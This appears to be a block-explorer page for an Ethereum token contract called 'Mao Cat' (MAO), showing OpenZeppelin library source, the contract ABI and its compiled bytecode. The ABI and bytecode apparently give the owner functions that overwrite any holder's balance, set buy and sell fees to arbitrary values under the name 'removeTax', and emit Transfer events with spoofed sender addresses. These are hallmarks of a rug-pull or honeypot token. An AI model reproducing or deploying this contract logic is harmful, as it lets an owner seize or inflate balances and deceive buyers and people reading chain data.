            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
        }
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Multicall.sol)

pragma solidity ^0.8.20;

import {Address} from "./Address.sol";

/**
 * @dev Provides a function to batch together multiple calls in a single external call.
 */
abstract contract Multicall {
    /**
     * @dev Receives and executes a batch of function calls on this contract.
     * @custom:oz-upgrades-unsafe-allow-reachable delegatecall
     */
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"RevenueShare","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"removeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setRevenueShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600781526020017f4d616f20436174000000000000000000000000000000000000000000000000008152505f90816100479190610c5e565b506040518060400160405280600381526020017f4d414f00000000000000000000000000000000000000000000000000000000008152506001908161008c9190610c5e565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733837d79057f9f603cc6bcfc88fd9122a72f0dca0600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c191ce27e73ea116984f154c0400d441dccb3f50600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733e3149555a9c139bdcae482cd7d365494f7b921d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156101e8575f80fd5b505f8060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201559050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555033600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061038733336109a060201b60201c565b6064600a6012600a6103999190610e89565b64012a05f2006103a99190610ed3565b6103b39190610ed3565b6103bd9190610f41565b60055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a61049d9190610e89565b64012a05f2006104ad9190610ed3565b6040516104ba9190610f80565b60405180910390a36064603c6012600a6104d49190610e89565b64012a05f2006104e49190610ed3565b6104ee9190610ed3565b6104f89190610f41565b60055f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516106579190610f80565b60405180910390a3606460146012600a6106719190610e89565b64012a05f2006106819190610ed3565b61068b9190610ed3565b6106959190610f41565b60055f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516107f49190610f80565b60405180910390a36064600a6012600a61080e9190610e89565b64012a05f20061081e9190610ed3565b6108289190610ed3565b6108329190610f41565b60055f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516109919190610f80565b60405180910390a35050610f99565b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610a9f57607f821691505b602082108103610ab257610ab1610a5b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610b147fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610ad9565b610b1e8683610ad9565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610b62610b5d610b5884610b36565b610b3f565b610b36565b9050919050565b5f819050919050565b610b7b83610b48565b610b8f610b8782610b69565b848454610ae5565b825550505050565b5f90565b610ba3610b97565b610bae818484610b72565b505050565b5b81811015610bd157610bc65f82610b9b565b600181019050610bb4565b5050565b601f821115610c1657610be781610ab8565b610bf084610aca565b81016020851015610bff578190505b610c13610c0b85610aca565b830182610bb3565b50505b505050565b5f82821c905092915050565b5f610c365f1984600802610c1b565b1980831691505092915050565b5f610c4e8383610c27565b9150826002028217905092915050565b610c6782610a24565b67ffffffffffffffff811115610c8057610c7f610a2e565b5b610c8a8254610a88565b610c95828285610bd5565b5f60209050601f831160018114610cc6575f8415610cb4578287015190505b610cbe8582610c43565b865550610d25565b601f198416610cd486610ab8565b5f5b82811015610cfb57848901518255600182019150602085019450602081019050610cd6565b86831015610d185784890151610d14601f891682610c27565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610daf57808604811115610d8b57610d8a610d2d565b5b6001851615610d9a5780820291505b8081029050610da885610d5a565b9450610d6f565b94509492505050565b5f82610dc75760019050610e82565b81610dd4575f9050610e82565b8160018114610dea5760028114610df457610e23565b6001915050610e82565b60ff841115610e0657610e05610d2d565b5b8360020a915084821115610e1d57610e1c610d2d565b5b50610e82565b5060208310610133831016604e8410600b8410161715610e585782820a905083811115610e5357610e52610d2d565b5b610e82565b610e658484846001610d66565b92509050818404811115610e7c57610e7b610d2d565b5b81810290505b9392505050565b5f610e9382610b36565b9150610e9e83610b36565b9250610ecb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610db8565b905092915050565b5f610edd82610b36565b9150610ee883610b36565b9250828202610ef681610b36565b91508282048414831517610f0d57610f0c610d2d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f4b82610b36565b9150610f5683610b36565b925082610f6657610f65610f14565b5b828204905092915050565b610f7a81610b36565b82525050565b5f602082019050610f935f830184610f71565b92915050565b611d6380610fa65f395ff3fe6080604052600436106100f6575f3560e01c806370a0823111610089578063a8aa1b3111610058578063a8aa1b3114610329578063a9059cbb14610353578063c9567bf91461038f578063dd62ed3e146103a5576100fd565b806370a08231146102735780637c879f5b146102af5780638187f516146102d757806395d89b41146102ff576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f757806363aedb38146102235780636e669d7a1461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b6040516101229190611428565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906114dd565b610470565b60405161015e9190611535565b60405180910390f35b348015610172575f80fd5b5061017b61055d565b604051610188919061155d565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611576565b61057e565b6040516101c49190611535565b60405180910390f35b3480156101d8575f80fd5b506101e1610621565b6040516101ee919061155d565b60405180910390f35b348015610202575f80fd5b5061020b610626565b60405161021a939291906115d5565b60405180910390f35b34801561022e575f80fd5b50610249600480360381019061024491906116c0565b61065c565b005b348015610256575f80fd5b50610271600480360381019061026c9190611751565b610811565b005b34801561027e575f80fd5b506102996004803603810190610294919061177c565b6108b7565b6040516102a6919061155d565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d091906117a7565b6108cc565b005b3480156102e2575f80fd5b506102fd60048036038101906102f8919061177c565b610946565b005b34801561030a575f80fd5b506103136109f5565b6040516103209190611428565b60405180910390f35b348015610334575f80fd5b5061033d610a85565b60405161034a91906117e5565b60405180910390f35b34801561035e575f80fd5b50610379600480360381019061037491906114dd565b610aaa565b6040516103869190611535565b60405180910390f35b34801561039a575f80fd5b506103a3610abe565b005b3480156103b0575f80fd5b506103cb60048036038101906103c691906117fe565b610b32565b6040516103d8919061155d565b60405180910390f35b60605f80546103ef90611869565b80601f016020809104026020016040519081016040528092919081815260200182805461041b90611869565b80156104665780601f1061043d57610100808354040283529160200191610466565b820191905f5260205f20905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054b919061155d565b60405180910390a36001905092915050565b6012600a61056b91906119f5565b64012a05f20061057b9190611a3f565b81565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106069190611a80565b92505081905550610618848484610b52565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b610664611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c8576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610809578282828181106106e8576106e7611ab3565b5b9050602002013560055f87878581811061070557610704611ab3565b5b905060200201602081019061071a919061177c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555084848281811061076a57610769611ab3565b5b905060200201602081019061077f919061177c565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106107e0576107df611ab3565b5b905060200201356040516107f4919061155d565b60405180910390a380806001019150506106ca565b505050505050565b610819611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f19755d25ea178146bd0c80065bb3baa90da55af45e342cf3c07de168a277da02816040516108ac919061155d565b60405180910390a150565b6005602052805f5260405f205f915090505481565b6108d4611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610938576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61094282826113a1565b5050565b61094e611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060018054610a0490611869565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3090611869565b8015610a7b5780601f10610a5257610100808354040283529160200191610a7b565b820191905f5260205f20905b815481529060010190602001808311610a5e57829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ab6338484610b52565b905092915050565b610ac6611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afc575f80fd5b600860159054906101000a900460ff1615610b15575f80fd5b6001600860156101000a81548160ff021916908315150217905550565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610b5c611377565b9050600860159054906101000a900460ff1680610ba457508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610bda57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610be2575f80fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2e9190611a80565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c9e5750600860149054906101000a900460ff16155b8015610d10575060646012600a610cb591906119f5565b64012a05f200610cc59190611a3f565b610ccf9190611b0d565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610d4857508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fb3576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610d8457610d83611b3d565b5b604051908082528060200260200182016040528015610db25781602001602082028036833780820191505090505b50905030815f81518110610dc957610dc8611ab3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e919190611b7e565b81600181518110610ea557610ea4611ab3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610f2c91906119f5565b64012a05f200610f3c9190611a3f565b610f469190611b0d565b5f8430426040518663ffffffff1660e01b8152600401610f6a959493929190611ca2565b5f604051808303815f87803b158015610f81575f80fd5b505af1158015610f93573d5f803e3d5ffd5b505050505f600860146101000a81548160ff021916908315150217905550505b5f806002600101546002800154915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015611013575060011515600860159054906101000a900460ff161515145b156110f1575f606460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146110755783611077565b825b876110829190611a3f565b61108c9190611b0d565b9050808661109a9190611a80565b95508060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e89190611cfa565b92505081905550505b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461113d9190611cfa565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611223578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611216919061155d565b60405180910390a3611369565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036113025760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112f5919061155d565b60405180910390a3611368565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161135f919061155d565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b816002600101819055508060028001819055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113fa826113b8565b61140481856113c2565b93506114148185602086016113d2565b61141d816113e0565b840191505092915050565b5f6020820190508181035f83015261144081846113f0565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61147982611450565b9050919050565b6114898161146f565b8114611493575f80fd5b50565b5f813590506114a481611480565b92915050565b5f819050919050565b6114bc816114aa565b81146114c6575f80fd5b50565b5f813590506114d7816114b3565b92915050565b5f80604083850312156114f3576114f2611448565b5b5f61150085828601611496565b9250506020611511858286016114c9565b9150509250929050565b5f8115159050919050565b61152f8161151b565b82525050565b5f6020820190506115485f830184611526565b92915050565b611557816114aa565b82525050565b5f6020820190506115705f83018461154e565b92915050565b5f805f6060848603121561158d5761158c611448565b5b5f61159a86828701611496565b93505060206115ab86828701611496565b92505060406115bc868287016114c9565b9150509250925092565b6115cf8161146f565b82525050565b5f6060820190506115e85f8301866115c6565b6115f5602083018561154e565b611602604083018461154e565b949350505050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261162b5761162a61160a565b5b8235905067ffffffffffffffff8111156116485761164761160e565b5b60208301915083602082028301111561166457611663611612565b5b9250929050565b5f8083601f8401126116805761167f61160a565b5b8235905067ffffffffffffffff81111561169d5761169c61160e565b5b6020830191508360208202830111156116b9576116b8611612565b5b9250929050565b5f805f805f606086880312156116d9576116d8611448565b5b5f6116e688828901611496565b955050602086013567ffffffffffffffff8111156117075761170661144c565b5b61171388828901611616565b9450945050604086013567ffffffffffffffff8111156117365761173561144c565b5b6117428882890161166b565b92509250509295509295909350565b5f6020828403121561176657611765611448565b5b5f611773848285016114c9565b91505092915050565b5f6020828403121561179157611790611448565b5b5f61179e84828501611496565b91505092915050565b5f80604083850312156117bd576117bc611448565b5b5f6117ca858286016114c9565b92505060206117db858286016114c9565b9150509250929050565b5f6020820190506117f85f8301846115c6565b92915050565b5f806040838503121561181457611813611448565b5b5f61182185828601611496565b925050602061183285828601611496565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061188057607f821691505b6020821081036118935761189261183c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561191b578086048111156118f7576118f6611899565b5b60018516156119065780820291505b8081029050611914856118c6565b94506118db565b94509492505050565b5f8261193357600190506119ee565b81611940575f90506119ee565b816001811461195657600281146119605761198f565b60019150506119ee565b60ff84111561197257611971611899565b5b8360020a91508482111561198957611988611899565b5b506119ee565b5060208310610133831016604e8410600b84101617156119c45782820a9050838111156119bf576119be611899565b5b6119ee565b6119d184848460016118d2565b925090508184048111156119e8576119e7611899565b5b81810290505b9392505050565b5f6119ff826114aa565b9150611a0a836114aa565b9250611a377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611924565b905092915050565b5f611a49826114aa565b9150611a54836114aa565b9250828202611a62816114aa565b91508282048414831517611a7957611a78611899565b5b5092915050565b5f611a8a826114aa565b9150611a95836114aa565b9250828203905081811115611aad57611aac611899565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b17826114aa565b9150611b22836114aa565b925082611b3257611b31611ae0565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050611b7881611480565b92915050565b5f60208284031215611b9357611b92611448565b5b5f611ba084828501611b6a565b91505092915050565b5f819050919050565b5f819050919050565b5f611bd5611bd0611bcb84611ba9565b611bb2565b6114aa565b9050919050565b611be581611bbb565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611c1d8161146f565b82525050565b5f611c2e8383611c14565b60208301905092915050565b5f602082019050919050565b5f611c5082611beb565b611c5a8185611bf5565b9350611c6583611c05565b805f5b83811015611c95578151611c7c8882611c23565b9750611c8783611c3a565b925050600181019050611c68565b5085935050505092915050565b5f60a082019050611cb55f83018861154e565b611cc26020830187611bdc565b8181036040830152611cd48186611c46565b9050611ce360608301856115c6565b611cf0608083018461154e565b9695505050505050565b5f611d04826114aa565b9150611d0f836114aa565b9250828201905080821115611d2757611d26611899565b5b9291505056fea2646970667358221220761a7d65392d3c6aabed05ac966b16b0019d9ad415c2baf73dab2dc582c6cd8b64736f6c63430008190033

